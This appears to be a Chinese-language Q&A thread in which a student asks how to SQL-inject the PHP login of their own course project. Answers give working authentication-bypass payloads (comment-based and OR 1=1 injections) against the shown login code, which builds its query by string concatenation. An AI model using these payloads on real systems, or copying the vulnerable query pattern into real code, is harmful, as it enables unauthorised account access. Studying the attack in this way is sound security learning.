我用PHP开发了一个Web应用程序作为课程项目。现在我正在尝试在我的网站上执行SQL注入攻击,但我不太明白这个想法。假设我知道一个有效的用户名,并且我正在尝试使用无效的密码登录。我想我应该在登录页面上的密码字段中输入类似1 or 10=10
的东西,但我远未成功。
处理用户登录的代码如下:
<?php
require_once('repository_fns.php');
session_start();
if (($_POST['username']) && ($_POST['password'])) {
$username = $_POST['username'];
$password = $_POST['password'];
if(login($username, $password)) {
$_SESSION['valid_user'] = $username;
}
else{
do_html_header_error_page();
do_error_message_cannot_login();
do_html_footer();
exit;
}
}
$current_user=$_SESSION['valid_user'];
do_html_header_member();
do_page_content_member($current_user);
do_html_footer();
?>
登录功能:
function login($username, $password) {
$conn = db_connect();
$result = $conn->query("select * from user where username='".$username."'
and password = sha1('".$password."')");
if (!$result) {
return false;
}
if ($result->num_rows>0) {
return true;
} else {
return false;
}
}
那么我应该如何实际执行攻击呢?或者是否有任何类型的SQL注入容易受到此登录功能的攻击?
这个想法是注入一段 sql,它将抑制密码检查部分。最简单的方法是使用注释"--":
$username = "known_username'--";
所以查询将是
select * from user where username='known_username'--' and password = sha1('anything')
"--"后面的部分是注释,因此被忽略。
由于您在没有验证数据的情况下插入数据,因此您可以包含SQL语法,例如
' OR 1=1; #
这将导致您的查询看起来像
select * from user where username='' OR 1=1 #'and password = sha1('".$password."')
# 之后的内容将被视为注释,因此不会被解析,从而将此查询转换为获取所有用户的查询。
如果您将1 or 10=10
作为密码,则生成的查询是
select * from user where username='".$username."' and password = sha1('1 or 10=10')
这不会让你得到任何地方。试试这个作为密码:') OR 1 = 1 --
这将导致
select * from user where username='".$username."' and password = sha1('') OR 1 = 1 --')
双破折号--
之后会注释掉所有内容,因此您没有无效查询